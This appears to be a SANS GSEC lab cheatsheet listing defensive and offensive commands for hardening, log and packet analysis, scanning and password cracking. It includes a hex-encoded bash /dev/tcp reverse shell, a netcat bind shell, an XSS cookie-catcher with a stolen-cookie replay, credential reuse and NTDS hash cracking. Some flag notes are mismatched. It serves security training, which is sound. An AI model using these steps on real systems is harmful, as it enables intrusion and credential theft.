GSEC CyberLive Cheatsheet
377 commands across 24 tool groups. Print landscape, 8.5pt. Drill each section until automatic.
PowerShell (52)
| Command | Purpose | Key flags |
|---|---|---|
| Get-Content .\compare-vm-to-alpha-basic-policy.log | Select-String 'mismatch' | Grep the log with Select-String Applying Windows System Security Policies | Get-Content: read file into pipeline Select-String: pattern match (PowerShell's grep) |
| Get-Process | Process overview with Get-Process Using PowerShell for Speed and Scale | - |
| Get-Process -Name explorer | Select-Object -Property * | Deep property view on a single process Using PowerShell for Speed and Scale | -Name: match by process name Select-Object -Property *: dump every property on the pipeline object |
| Start-Process notepad.exe | Launch and inspect a process Using PowerShell for Speed and Scale | - |
| Get-Process -Name notepad | Select-Object * | Launch and inspect a process Using PowerShell for Speed and Scale | - |
| $NotepadProc = Get-Process -Name notepad | Capture a process into a variable Using PowerShell for Speed and Scale | - |
| $NotepadProc | Capture a process into a variable Using PowerShell for Speed and Scale | - |
| $NotepadProc.kill() | Invoke a method on the stored object Using PowerShell for Speed and Scale | - |
| Get-Process -Name notepad | Invoke a method on the stored object Using PowerShell for Speed and Scale | - |
| Get-Service | Enumerate Windows services Using PowerShell for Speed and Scale | - |
| Get-Service | Measure-Object | Count services with Measure-Object Using PowerShell for Speed and Scale | - |
| Get-Service | Where-Object -Property Status -like Running | Filter services to only those Running Using PowerShell for Speed and Scale | Where-Object: filter pipeline objects by a predicate -Property Status: property to test -like Running: comparison (-like is case-insensitive wildcard) |
| Get-Service | Where-Object -Property Status -like Running | Measure-Object | Count the running services Using PowerShell for Speed and Scale | - |
| Get-Service | Out-GridView | Out-GridView for interactive triage Using PowerShell for Speed and Scale | - |
| Get-Service | Export-CSV -Path Services.csv | Export to CSV and open in ISE Using PowerShell for Speed and Scale | - |
| ise .\Services.csv | Export to CSV and open in ISE Using PowerShell for Speed and Scale | - |
| Get-Alias dir | Directory listing and alias discovery Using PowerShell for Speed and Scale | - |
| [string[]]$AlphaServers = Get-Content -Path 'C:\sec401\labs\5.4\alpha-servers.txt' | Bootstrap the fleet and load the server list Using PowerShell for Speed and Scale | - |
| $AlphaServers | Bootstrap the fleet and load the server list Using PowerShell for Speed and Scale | - |
| $creds = Get-Credential | Invoke-Command across the fleet with credentials Using PowerShell for Speed and Scale | -Authentication Basic: simple auth (lab only, use Kerberos/CredSSP in prod) -Credential: PSCredential object from Get-Credential -ComputerName: array of targets -command { ... }: scriptblock executed on every remote host |
| invoke-command -Authentication Basic -Credential $creds -ComputerName $AlphaServers -command { Get-CimInstance Win32_OperatingSystem | Select-Object CSName, Caption } | Format-Table | Invoke-Command across the fleet with credentials Using PowerShell for Speed and Scale | -Authentication Basic: simple auth (lab only, use Kerberos/CredSSP in prod) -Credential: PSCredential object from Get-Credential -ComputerName: array of targets -command { ... }: scriptblock executed on every remote host |
| invoke-command -Authentication Basic -Credential $creds -ComputerName $AlphaServers -command { Get-ChildItem C:\Windows\System32\proxy.exe } | Format-Table | Negative control: probe for a file that doesn't exist Using PowerShell for Speed and Scale | - |
| invoke-command -Authentication Basic -Credential $creds -ComputerName $AlphaServers -command { Get-ChildItem C:\Windows\*.exe } | Format-Table | Fleet-wide enumeration of C:\Windows\*.exe Using PowerShell for Speed and Scale | - |
| Get-WinEvent -FilterHashtable @{LogName='System'; ID=7045} -MaxEvents 3 | format-list | Correlate with Event ID 7045 (service installed) Using PowerShell for Speed and Scale | -FilterHashtable: server-side XPath-equivalent filter (fast) LogName: which log to query ID=7045: Service Control Manager 'a service was installed' event -MaxEvents 3: cap results |
| Get-FileHash -Algorithm SHA256 C:\Windows\broker.exe | Hash the suspicious binary for IOC sharing Using PowerShell for Speed and Scale | -Algorithm SHA256: hash algorithm (MD5/SHA1/SHA256/SHA512 supported) |
| Get-Process lsass | Select-Object -Property * | Inspect a known-good process for shape PowerShell Live Investigation | Select-Object -Property *: dump every property the process object exposes (Path, FileVersion, Company, ProductVersion, ...) |
| Get-Process lsass | Select-Object -Property Path, Name, Id | Narrow to Path, Name, Id PowerShell Live Investigation | - |
| Get-Process | Select-Object -Property Path, Name, Id | Where-Object -Property Path -Like "*temp*" | Find processes running out of TEMP PowerShell Live Investigation | Where-Object: filter pipeline objects by a predicate -Property Path: the property to test -Like "*temp*": case-insensitive wildcard match |
| Get-NetTCPConnection | Enumerate active TCP connections PowerShell Live Investigation | - |
| Get-NetTCPConnection | Select-Object -Property LocalAddress, LocalPort, State, OwningProcess | Project the columns that map to OwningProcess PowerShell Live Investigation | - |
| Get-Process | Select-Object -Property Path, Name, Id | Where-Object -Property Id -eq 1672 | Confirm PID 1672 maps to calcache.exe PowerShell Live Investigation | - |
| Get-Process | Select-Object -Property Path, Name, Id | Where-Object -Property Id -eq 1672 | Stop-Process | Kill the malicious process PowerShell Live Investigation | - |
| Get-ChildItem HKCU: | Browse the HKCU registry hive PowerShell Live Investigation | - |
| Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" | Hunt for Run-key persistence PowerShell Live Investigation | - |
| Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce" | Hunt for Run-key persistence PowerShell Live Investigation | - |
| Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" | Hunt for Run-key persistence PowerShell Live Investigation | - |
| Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\RunOnce" | Hunt for Run-key persistence PowerShell Live Investigation | - |
| Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Calcache" | Eradicate the persistence and the binary PowerShell Live Investigation | - |
| Remove-Item $env:temp\calcache.exe | Eradicate the persistence and the binary PowerShell Live Investigation | - |
| Get-ChildItem baseline | List the saved baseline PowerShell Live Investigation | - |
| Get-Service | Select-Object -ExpandProperty Name | Out-File services.txt | Snapshot services to a file PowerShell Live Investigation | Select-Object -ExpandProperty Name: flatten objects to a list of name strings Out-File: write the pipeline to a text file |
| Get-ScheduledTask | Select-Object -ExpandProperty TaskName | Out-File scheduledtasks.txt | Snapshot scheduled tasks and local users PowerShell Live Investigation | - |
| Get-LocalUser | Select-Object -ExpandProperty Name | Out-File localusers.txt | Snapshot scheduled tasks and local users PowerShell Live Investigation | - |
| Get-Content .\services.txt -First 10 | Sanity-check the snapshot PowerShell Live Investigation | - |
| $servicesnow = Get-Content .\services.txt | Load baseline and current snapshots into variables PowerShell Live Investigation | - |
| $servicebaseline = Get-Content .\baseline\services.txt | Load baseline and current snapshots into variables PowerShell Live Investigation | - |
| $schedulednow = Get-Content .\scheduledtasks.txt | Diff scheduled tasks against baseline PowerShell Live Investigation | - |
| $Scheduledbaseline = Get-Content .\baseline\scheduledtasks.txt | Diff scheduled tasks against baseline PowerShell Live Investigation | - |
| Get-FileHash -Algorithm MD5 AnalyticsInstaller.exe | Hash the sample Malware Analysis: AnalyticsInstaller.exe | -Algorithm MD5/SHA256: choose the digest Default output: Algorithm, Hash, Path |
| Get-FileHash -Algorithm SHA256 AnalyticsInstaller.exe | Hash the sample Malware Analysis: AnalyticsInstaller.exe | -Algorithm MD5/SHA256: choose the digest Default output: Algorithm, Hash, Path |
| Get-ScheduledTask | Detonate and confirm the scheduled task Malware Analysis: AnalyticsInstaller.exe | - |
| Get-Content C:\Windows\SysWOW64\AnalyticsBackup.bat | Read the dropped batch payload Malware Analysis: AnalyticsInstaller.exe | - |
Windows Hardening (secedit / MMC) (6)
| Command | Purpose | Key flags |
|---|---|---|
| secedit.exe /analyze | Review secedit.exe /analyze syntax Applying Windows System Security Policies | /db: analysis database (.sdb) /cfg: security template file (.inf) /log: output log path /quiet: suppress prompts |
| secedit.exe /analyze /db alpha-basic-policy.sdb /cfg Alpha-Win-Wkstn-Basic-Sec-Policy.inf /log C:\sec401\labs\5.3\compare-vm-to-alpha-basic-policy.log | Analyze the VM against the Alpha basic template Applying Windows System Security Policies | - |
| notepad C:\sec401\labs\5.3\compare-vm-to-alpha-basic-policy.log | Open the compare log and scan for Mismatch Applying Windows System Security Policies | - |
| secedit.exe /configure /db alpha-basic-policy.sdb /log C:\sec401\labs\5.3\apply-apha-basic-policy-to-vm.log | Apply the template with secedit /configure Applying Windows System Security Policies | /configure: apply template settings to the host /db: use the prior analysis database (keeps settings consistent) |
| secedit.exe /analyze /db alpha-basic-policy.sdb /log C:\sec401\labs\5.3\recompare-vm-to-alpha-basic-policy.log | Re-analyze to verify the drift is gone Applying Windows System Security Policies | - |
| mmc.exe (File → Add/Remove Snap-in → Security Templates, Security Configuration and Analysis) | Load the MMC snap-ins Applying Windows System Security Policies | - |
Linux Permissions (2)
| Command | Purpose | Key flags |
|---|---|---|
| umask | Read the current umask Linux Permissions | - |
| umask 0027 | Tighten umask to 0027 and retest Linux Permissions | umask 0027: mask bits = user 0, group 2, other 7 Effect: files default to 640, dirs to 750 |
Linux Core Utilities (73)
| Command | Purpose | Key flags |
|---|---|---|
| cd /sec401/labs/1.2 && ./lab-1.2 start && sudo wireshark 2>/dev/null & | Lab environment setup Wireshark Packet Analysis | ./lab-1.2 start: launch local web server sudo wireshark: root privileges for capture 2>/dev/null &: suppress warnings, run in background |
| ls /sec401/labs/1.3/20230928/ | wc -l | List and identify VPC flow log files AWS VPC Flow Log Analysis | wc -l: count files file: identify file type and compression |
| file /sec401/labs/1.3/20230928/2226771286B0_vpcflowlogs_us-east-2_fl-0272f42338e6eeaaf_20230928T23552_e92fb168.log.gz | List and identify VPC flow log files AWS VPC Flow Log Analysis | wc -l: count files file: identify file type and compression |
| wc -l /sec401/labs/1.3/attacker-flows.log | Extract attacker flows AWS VPC Flow Log Analysis | zgrep: grep compressed files --no-filename: omit file names from output > redirect to attacker-flows.log |
| sort -nk 15 /sec401/labs/1.3/attacker-flows.log | head -1 | Determine attack timeframe AWS VPC Flow Log Analysis | sort -nk 15: numeric sort on column 15 (start epoch) date -d @epoch: convert epoch to human-readable |
| sort -nk 15 /sec401/labs/1.3/attacker-flows.log | tail -1 | Determine attack timeframe AWS VPC Flow Log Analysis | sort -nk 15: numeric sort on column 15 (start epoch) date -d @epoch: convert epoch to human-readable |
| cat attacker-flows.log | awk '$10 == "8889"' | awk '{SUM=SUM+$12} END{print "Total bytes transferred: "SUM}' | Quantify data transfer by port AWS VPC Flow Log Analysis | $10 == "8889": filter by dst port 8889 $9 == "80": filter by dst port 80 $12: bytes field SUM+$12: running total |
| cat attacker-flows.log | awk '$9 == "80"' | awk '{SUM=SUM+$12} END{print "Total bytes transferred: "SUM}' | Quantify data transfer by port AWS VPC Flow Log Analysis | $10 == "8889": filter by dst port 8889 $9 == "80": filter by dst port 80 $12: bytes field SUM+$12: running total |
| head -1 pcap-derived-netflow.txt; cat pcap-derived-netflow.txt | grep 20.106.124.93 | head -2 | Filter NetFlow for attacker on port 80 AWS VPC Flow Log Analysis | - |
| head -1 pcap-derived-netflow.txt; cat pcap-derived-netflow.txt | grep 20.106.124.93 | grep -v :80 | head -2 | Filter for attacker SSH traffic AWS VPC Flow Log Analysis | - |
| head -1 pcap-derived-netflow.txt; cat pcap-derived-netflow.txt | grep 20.106.124.93 | grep -v :80 | grep -v :22 | head -2 | Identify non-standard port activity AWS VPC Flow Log Analysis | grep -v: exclude matches Sequential exclusion isolates unknown services |
| head -1 pcap-derived-netflow.txt; cat pcap-derived-netflow.txt | grep 20.106.124.93 | grep -v :80 | grep -v :22 | grep -v :8889 | head -2 | Confirm complete attack surface AWS VPC Flow Log Analysis | - |
| cd /sec401/labs/2.1/ && ls -l | Explore lab files Password Auditing | ls -l: detailed file listing with sizes file: identify file type and encryption status |
| file customer-discount.xlsx | Explore lab files Password Auditing | ls -l: detailed file listing with sizes file: identify file type and encryption status |
| cat excelhash | View extracted Office hash Password Auditing | - |
| cat alphamerge | Combine Linux passwd and shadow files Password Auditing | unshadow: merge /etc/passwd and /etc/shadow into John-compatible format |
| wc -l cewl-pass.txt | Verify rule expansion scale Password Auditing | wc -l: count lines (candidates) grep | wc -l: count variants of a specific word |
| wc -l cewl-rules.txt | Verify rule expansion scale Password Auditing | wc -l: count lines (candidates) grep | wc -l: count variants of a specific word |
| grep merely cewl-rules.txt | wc -l | Verify rule expansion scale Password Auditing | wc -l: count lines (candidates) grep | wc -l: count variants of a specific word |
| cd /media/sec401/CDROM/ | Scan removable media for sensitive keywords Data Loss Prevention | -P: Perl-compatible regex (supports alternation with |) -a: treat binary files as text (needed for .doc/.docx) -i: case-insensitive matching -l: print only filenames, not matching content |
| grep -Pail '(secret|confidential|sensitive)' * | Scan removable media for sensitive keywords Data Loss Prevention | -P: Perl-compatible regex (supports alternation with |) -a: treat binary files as text (needed for .doc/.docx) -i: case-insensitive matching -l: print only filenames, not matching content |
| cd /sec401/labs/3.1/ && ./start_3.1.sh | Lab environment startup Network Discovery | - |
| curl localhost:8000 | Retrieve the served page Network Discovery | - |
| cd /sec401/labs/3.3/ && ./start_3.3.sh | Lab environment startup Web App Exploitation | - |
| echo "Hello" > test-file.txt && sha256sum test-file.txt && xxd test-file.txt && mv test-file.txt renamed-file.txt && sha256sum renamed-file.txt | Hash is content-based, not name-based Hashing and Cryptographic Validation | echo "Hello" > file: write 6 bytes (Hello\n) to a file sha256sum: compute SHA-256 digest xxd: hex + ASCII dump mv: rename without changing contents |
| sed -i 's/H/h/g' renamed-file.txt && sha256sum renamed-file.txt | One-byte change, completely different hash Hashing and Cryptographic Validation | sed -i: edit file in place 's/H/h/g': substitute H with h, globally |
| sed -i 's/HOME_NET = \'any\'/HOME_NET = \'[10.130.0.0/16]\'/' /sec401/labs/4.3/etc/snort.lua | Scope HOME_NET to the lab /16 Intrusion Detection and Network Security Monitoring with Snort3 and Zeek | - |
| sed -n 7p packet_filter.log | sed 's/\t/\n/g' | Inspect Zeek log schema Intrusion Detection and Network Security Monitoring with Snort3 and Zeek | sed -n 7p: print line 7 (the #fields header) sed 's/\t/\n/g': convert tabs to newlines for readability |
| dir | Directory listing and alias discovery Using PowerShell for Speed and Scale | - |
| dir .\Services.csv | Format-List * | Inspect a file as an object Using PowerShell for Speed and Scale | - |
| dir | Sort-Object CreationTime | Sort directory listing by CreationTime Using PowerShell for Speed and Scale | - |
| cd /sec401/labs/6.1 | Start the Docker lab container Linux Permissions | - |
| echo annika > test_perms.txt | Create a file with the default umask Linux Permissions | - |
| cat test_perms.txt | Create a file with the default umask Linux Permissions | - |
| ls -l test_perms.txt | Create a file with the default umask Linux Permissions | - |
| echo annika > secure.txt | Tighten umask to 0027 and retest Linux Permissions | umask 0027: mask bits = user 0, group 2, other 7 Effect: files default to 640, dirs to 750 |
| mkdir secure_dir | Tighten umask to 0027 and retest Linux Permissions | umask 0027: mask bits = user 0, group 2, other 7 Effect: files default to 640, dirs to 750 |
| ls -ld secure* | Tighten umask to 0027 and retest Linux Permissions | umask 0027: mask bits = user 0, group 2, other 7 Effect: files default to 640, dirs to 750 |
| ls -ld /tmp | Sticky bit on /tmp Linux Permissions | drwxrwxrwt: d=dir, rwx (user), rwx (group), rwt (other with sticky) t without x would display as T |
| echo "only annika may rename or delete this file" > /tmp/sticky_bit_test.txt | Sticky bit on /tmp Linux Permissions | drwxrwxrwt: d=dir, rwx (user), rwx (group), rwt (other with sticky) t without x would display as T |
| ls -l /tmp/sticky_bit_test.txt | Sticky bit on /tmp Linux Permissions | drwxrwxrwt: d=dir, rwx (user), rwx (group), rwt (other with sticky) t without x would display as T |
| cd /sec401/labs/6.3 | Open the auditd rules file Linux Logging and Auditing | - |
| echo -n 2F7573722F62696E2F62617368002D6300286563686F203C2F6465762F7463702F686F73742E646F636B65722E696E7465726E616C2F333836392920323E2F6465762F6E756C6C2026 | xxd -r -p ; echo | Decode a hex-encoded reverse shell Linux Logging and Auditing | xxd -r -p: reverse hex to bytes, plain format (no line numbers) -n on echo: no trailing newline |
| cd ~/labs/falsimentis/logs/ | Cross-check with dns.log Network Beacon Detection with RITA | - |
| grep lolcats.org dns.log | head -1 | Cross-check with dns.log Network Beacon Detection with RITA | - |
| grep www1-google-analytics.com access.log | head -1 | Pivot to access.log - DNS-spoofed C2 Network Beacon Detection with RITA | - |
| grep www1-google-analytics.com access.log | Read the full proxied request Network Beacon Detection with RITA | - |
| awk '/www1-google-analytics.com/ {print $3}' access.log | sort -u | Enumerate every compromised internal host Network Beacon Detection with RITA | /regex/: pattern to match against each line {print $3}: emit field 3 (source IP in Zeek/Squid access.log) sort -u: deduplicate |
| cat ~/labs/falsimentis/analytics-backup.bat | Review the raw obfuscated sample AI-Assisted Incident Handling | - |
| head nmap_mongodb_scan.txt | NSE enumeration of MongoDB and save output Network Discovery and Service Enumeration with Nmap | -sC: run the default safe NSE script category -oN: write normal (human-readable) output to a file |
| wc -l simcloud.txt | Mass-sweep the /16 for port 443 Cloud Attack Surface Mapping with masscan and TLS Fingerprinting | -p 443: single port --rate 10000: packets per second -oL: list output format |
| awk '/open/ {print $4}' simcloud.txt > simcloud-targets.txt | Extract the live IPs Cloud Attack Surface Mapping with masscan and TLS Fingerprinting | /open/: match result lines {print $4}: the IP address column |
| cd csparkes | Browse Home and check per-user ACLs SMB Share Enumeration and Credential Discovery | ACCESS_DENIED on csparkes = correct ACL; tdoudney's own dir is readable |
| ls | Browse Home and check per-user ACLs SMB Share Enumeration and Credential Discovery | ACCESS_DENIED on csparkes = correct ACL; tdoudney's own dir is readable |
| cd ../tdoudney | Browse Home and check per-user ACLs SMB Share Enumeration and Credential Discovery | ACCESS_DENIED on csparkes = correct ACL; tdoudney's own dir is readable |
| cat backup.ps1 | Recover the hardcoded credential SMB Share Enumeration and Credential Discovery | The .OLD file still contains the plaintext password the live script no longer stores |
| cat backup.ps1.OLD | Recover the hardcoded credential SMB Share Enumeration and Credential Discovery | The .OLD file still contains the plaintext password the live script no longer stores |
| cd FS | Reuse the credential for lateral movement SMB Share Enumeration and Credential Discovery | Reused discovered credential; CustomerDev holds the app source + db backup |
| echo %username%; hostname; dir | Bind shell on Windows Netcat for Data Transfer, Shells, and Pivot Relays | -e cmd.exe: bind the Windows shell |
| curl http://172.30.0.50:8080 | Named-pipe relay and log confirmation Netcat for Data Transfer, Shells, and Pivot Relays | FIFO carries the response back into the first nc, making the relay two-way |
| cd ~/labs/passwords/ | Inspect the wordlists Online Password Attacks with Legba: Stuffing, Dictionary, and Spray | credentials.txt = combo list; falsimentisusernames.txt = spray user list |
| ls -lah | Inspect the wordlists Online Password Attacks with Legba: Stuffing, Dictionary, and Spray | credentials.txt = combo list; falsimentisusernames.txt = spray user list |
| head credentials.txt | Inspect the wordlists Online Password Attacks with Legba: Stuffing, Dictionary, and Spray | credentials.txt = combo list; falsimentisusernames.txt = spray user list |
| cat w99.ntds | awk -F: '{print $3}' | sort | uniq -c | Analyze LM hashes and strip machine accounts Offline Password Cracking with Hashcat: Shadow Files and Active Directory NTDS | awk $3: the LM hash column sed '/$/d': drop machine accounts |
| sed -i '/\$/d' w99.ntds | Analyze LM hashes and strip machine accounts Offline Password Cracking with Hashcat: Shadow Files and Active Directory NTDS | awk $3: the LM hash column sed '/$/d': drop machine accounts |
| curl http://support.falsimentis.com/robots.txt | Read robots.txt IDOR and Forced Browsing: Enumerating Objects Nobody Should Reach | Disallow entries are a map of sensitive paths, not access control |
| curl -v http://support.falsimentis.com/builds/ | Investigate the builds directory listing IDOR and Forced Browsing: Enumerating Objects Nobody Should Reach | Directory listing + build log leak internal implementation detail |
| curl -v http://support.falsimentis.com/builds/build.log | Investigate the builds directory listing IDOR and Forced Browsing: Enumerating Objects Nobody Should Reach | Directory listing + build log leak internal implementation detail |
| curl http://support.falsimentis.com/chatlogs/chatlog-7341.txt | Trigger the chatbot save IDOR and Forced Browsing: Enumerating Objects Nobody Should Reach | Predictable 4-digit ID + no auth = the IDOR precondition |
| curl http://support.falsimentis.com/chatlogs/chatlog-2305.txt | Retrieve another user's log IDOR and Forced Browsing: Enumerating Objects Nobody Should Reach | Direct object reference with no server-side authorization |
| cat index.php # file_put_contents("cookies.log", ...GET...headers...) | Stand up a cookie-catcher Stored XSS to Session Hijacking | php -S serves the catcher; it appends every request to cookies.log |
| curl http://support.falsimentis.com/admin/ | Hijack the session Stored XSS to Session Hijacking | -b sends the stolen cookie; the panel now authorizes the request |
| curl http://support.falsimentis.com/admin/ -b authtoken=77ba9cd915c8e359d9733edcfe9c61e5aca92afb | Hijack the session Stored XSS to Session Hijacking | -b sends the stolen cookie; the panel now authorizes the request |
Packet Analysis (tcpdump) (7)
| Command | Purpose | Key flags |
|---|---|---|
| tcpdump -n -r investigate.pcap -c 20 -# | Initial packet overview tcpdump Traffic Analysis | -n: no DNS/port lookup -r: read from file -c 20: stop after 20 packets -#: print packet number |
| tcpdump -n -r investigate.pcap 'tcp and (host 135.125.217.54 and host 10.130.8.94) and (port 44366 and port 80)' | Filtering session 1: GET /.env tcpdump Traffic Analysis | Filter: tcp + host/port pair |
| tcpdump -n -r session.pcap -# | Read session.pcap tcpdump Traffic Analysis | - |
| tcpdump -n -r session.pcap -X -v -c 4 | HTTP payload extraction: visible login parameters tcpdump Traffic Analysis | -X: hex and ASCII payload; -v: verbose; -c 4: stop after 4 packets |
| tcpdump -n -i eth0 -w created_capture.pcap 'udp port 53' | Live DNS capture and read tcpdump Traffic Analysis | -i: interface; -w: write to file; Filter: udp port 53 |
| tcpdump -n -r created_capture.pcap | Live DNS capture and read tcpdump Traffic Analysis | -i: interface; -w: write to file; Filter: udp port 53 |
| tcpdump -n -r created_capture.pcap -X | DNS payload extraction tcpdump Traffic Analysis | - |
DNS / Network Recon (1)
| Command | Purpose | Key flags |
|---|---|---|
| dig alphainc.ca NS | Correlate with dig tcpdump Traffic Analysis | alphainc.ca: domain; NS: name server |
Network Discovery (nmap) (22)
| Command | Purpose | Key flags |
|---|---|---|
| nmap -sn 172.28.14.0/24 | Ping sweep: discover live hosts Network Discovery | -sn: ping scan, no port scan 172.28.14.0/24: 256-address lab subnet |
| nmap -v --top-ports 100 -oG - | Greppable port sweeps Network Discovery | -v: verbose --top-ports 100: scan the 100 most common TCP ports -F: fast scan (~top 100 from nmap-services) -oG -: greppable output to stdout |
| nmap -v -F -oG - | Greppable port sweeps Network Discovery | -v: verbose --top-ports 100: scan the 100 most common TCP ports -F: fast scan (~top 100 from nmap-services) -oG -: greppable output to stdout |
| nmap -sV 172.28.14.0/24 | Service and version detection Network Discovery | -sV: probe open ports for service/version info |
| nmap -O 172.28.14.0/24 | OS detection: strict match Network Discovery | -O: OS fingerprinting based on TCP/IP stack behavior |
| nmap -O --osscan-guess 172.28.14.0/24 | OS detection: aggressive guess Network Discovery | --osscan-guess: print closest matches even when no exact match |
| nmap -sV -oX new_network.xml 172.28.14.0/24 | Baseline scan saved to XML Network Discovery | -oX: XML output file |
| ndiff network.xml new_network.xml | ndiff: detect scan-over-scan change Network Discovery | ndiff: Nmap-aware diff of two XML scans, lines prefixed with + for added and - for removed |
| nmap -n -sn 172.30.0.1-254 | Host discovery, unprivileged then privileged Network Discovery and Service Enumeration with Nmap | -n: no reverse-DNS -sn: host discovery only, no port scan sudo: enables ARP discovery + MAC resolution on the local segment |
| nmap -n -sT 172.30.0.20 | Default then full-range TCP scan of .20 Network Discovery and Service Enumeration with Nmap | -sT: full TCP connect scan -p 1-65535: every TCP port, not just the top 1000 |
| nmap -n -sT -p 1-65535 172.30.0.20 | Default then full-range TCP scan of .20 Network Discovery and Service Enumeration with Nmap | -sT: full TCP connect scan -p 1-65535: every TCP port, not just the top 1000 |
| nmap -n -sT -sV -p 80,443,2430,3306 172.30.0.20 | Version-detect the .20 services Network Discovery and Service Enumeration with Nmap | -sV: probe open ports to identify the service and version Version detection corrects Nmap's port-number guesses |
| nmap -n -sT -p 1-65535 172.30.0.26 | Find and version-detect MongoDB on .26 Network Discovery and Service Enumeration with Nmap | - |
| nmap -n -sT -p 27017 -sV 172.30.0.26 | Find and version-detect MongoDB on .26 Network Discovery and Service Enumeration with Nmap | - |
| nmap -n -sT -p 27017 -sC 172.30.0.26 | NSE enumeration of MongoDB and save output Network Discovery and Service Enumeration with Nmap | -sC: run the default safe NSE script category -oN: write normal (human-readable) output to a file |
| nmap -n -sT -p 27017 -sC -oN nmap_mongodb_scan.txt 172.30.0.26 | NSE enumeration of MongoDB and save output Network Discovery and Service Enumeration with Nmap | -sC: run the default safe NSE script category -oN: write normal (human-readable) output to a file |
| nmap -n -sT -p 27017 172.30.0.26 --script mongodb-databases | Targeted mongodb-databases script Network Discovery and Service Enumeration with Nmap | --script <name>: run a specific NSE script instead of a category |
| nmap -n -sT -p 1-65535 172.30.0.114 | Scan .114 and enumerate SMB Network Discovery and Service Enumeration with Nmap | -sC on 139/445: runs the SMB/NetBIOS NSE scripts (nbstat, smb2-security-mode, smb2-time) |
| nmap -n -sT -sC -p 139,445 172.30.0.114 | Scan .114 and enumerate SMB Network Discovery and Service Enumeration with Nmap | -sC on 139/445: runs the SMB/NetBIOS NSE scripts (nbstat, smb2-security-mode, smb2-time) |
| nmap -sT -sV -p 443 --script http-enum 10.200.74.2 | Enumerate the identified host Cloud Attack Surface Mapping with masscan and TLS Fingerprinting | -sV: version detection --script http-enum: enumerate web paths |
| nmap -sT -p 139,445 172.30.0.2-254 | Confirm the target and enumerate shares SMB Share Enumeration and Credential Discovery | -L: list shares -U user%pass: inline credentials |
| nmap -sT 172.30.0.2-254 | Map the targets Online Password Attacks with Legba: Stuffing, Dictionary, and Spray | Maps services to the Legba protocol modules to target |
IDS / NSM (Snort + Zeek) (6)
| Command | Purpose | Key flags |
|---|---|---|
| snort -T -c /sec401/labs/4.3/etc/snort.lua | Validate the Snort3 config Intrusion Detection and Network Security Monitoring with Snort3 and Zeek | -T: test configuration and exit -c: path to snort.lua |
| snort -T -c /sec401/labs/4.3/etc/snort.lua -q | Quiet re-validation Intrusion Detection and Network Security Monitoring with Snort3 and Zeek | -q: quiet mode (suppress banners) |
| snort -c etc/snort.lua -q -r investigate.pcap -A alert_talos -R rules/snort3-community.rules | PCAP replay with community rules: summary view Intrusion Detection and Network Security Monitoring with Snort3 and Zeek | -r: read from PCAP -A alert_talos: Talos-style summary (grouped) -R: ruleset to load |
| snort -c etc/snort.lua -q -r investigate.pcap -A alert_fast -R rules/snort3-community.rules | Per-alert detail with alert_fast Intrusion Detection and Network Security Monitoring with Snort3 and Zeek | -A alert_fast: one alert per line (best for piping to grep/awk) |
| snort -c etc/snort.lua -q -r investigate.pcap -A alert_fast -R rules/snort3-community.rules --bpf 'host 20.106.124.93' | BPF filter to focus the attacker Intrusion Detection and Network Security Monitoring with Snort3 and Zeek | --bpf: Berkeley Packet Filter expression; same syntax as tcpdump |
| zeek -C -r ../investigate.pcap -f 'host 20.206.124.93' /opt/zeek/share/zeek/policy/frameworks/files/extract-all-files.zeek | Zeek: protocol-aware log + file extraction Intrusion Detection and Network Security Monitoring with Snort3 and Zeek | -C: skip checksum validation (PCAP checksums often broken) -r: read from PCAP -f: BPF filter extract-all-files.zeek: reconstruct files from HTTP/FTP/SMB flows |
Password Cracking (John + Hashcat) (15)
| Command | Purpose | Key flags |
|---|---|---|
| john --wordlist=cewl-pass.txt excelhash | Crack Excel password with John Password Auditing | --wordlist=cewl-pass.txt: use CeWL wordlist excelhash: target hash file |
| john --wordlist=cewl-pass.txt ntlm.txt | NTLM hash type ambiguity Password Auditing | - |
| john --wordlist=cewl-pass.txt ntlm.txt --format=NT | Crack NTLM hash with correct format Password Auditing | --format=NT: force NTLM (MD4) hash type NT hash = MD4(UTF-16LE(password)) |
| john --format=crypt --wordlist=cewl-pass.txt alphamerge | Crack Linux crypt hash Password Auditing | --format=crypt: use generic Unix crypt format Handles multiple algorithms (md5crypt, sha256crypt, sha512crypt) |
| hashcat -m 1800 -a 3 alphamerge ?u?l?l?l?l?l?l?l?l?d | Hashcat brute-force attempt on SHA-512 Password Auditing | -m 1800: SHA-512 crypt hash mode -a 3: brute-force/mask attack ?u: uppercase letter ?l: lowercase letter ?d: digit |
| john --wordlist=cewl-pass.txt bonus_passwords | Bonus challenge: CeWL wordlist fails Password Auditing | unshadow: merge bonus credential files --wordlist: attempt base CeWL wordlist |
| john --wordlist=cewl-pass.txt --rules --stdout > cewl-rules.txt | Generate mangled wordlist with John rules Password Auditing | --rules: enable default word-mangling rules --stdout: output candidates instead of cracking > cewl-rules.txt: save expanded wordlist |
| john --wordlist=cewl-rules.txt bonus_passwords | Crack bonus passwords with expanded wordlist Password Auditing | --wordlist=cewl-rules.txt: use rules-expanded 4M-candidate wordlist |
| hashcat slingshot.hashes --identify | Identify the hash types Offline Password Cracking with Hashcat: Shadow Files and Active Directory NTDS | --identify: list candidate -m modes for the input |
| hashcat -a 0 -m 1500 slingshot.hashes /usr/share/wordlists/passwords.txt | Dictionary attack and show results Offline Password Cracking with Hashcat: Shadow Files and Active Directory NTDS | -a 0: dictionary --show: print cracked from potfile --username: include the account |
| hashcat -m 1500 slingshot.hashes --show --username | Dictionary attack and show results Offline Password Cracking with Hashcat: Shadow Files and Active Directory NTDS | -a 0: dictionary --show: print cracked from potfile --username: include the account |
| hashcat -m 1500 slingshot.hashes --left --username | List what remains Offline Password Cracking with Hashcat: Shadow Files and Active Directory NTDS | --left: show hashes not yet in the potfile |
| hashcat -a 0 w99.ntds /usr/share/wordlists/passwords.txt | Dictionary, then mask, then rules Offline Password Cracking with Hashcat: Shadow Files and Active Directory NTDS | -a 0 dictionary -a 3 mask (?u upper ?l lower ?d digit) -r rules: mangle each word |
| hashcat -a 3 w99.ntds ?u?l?l?l?l?l?l?d | Dictionary, then mask, then rules Offline Password Cracking with Hashcat: Shadow Files and Active Directory NTDS | -a 0 dictionary -a 3 mask (?u upper ?l lower ?d digit) -r rules: mangle each word |
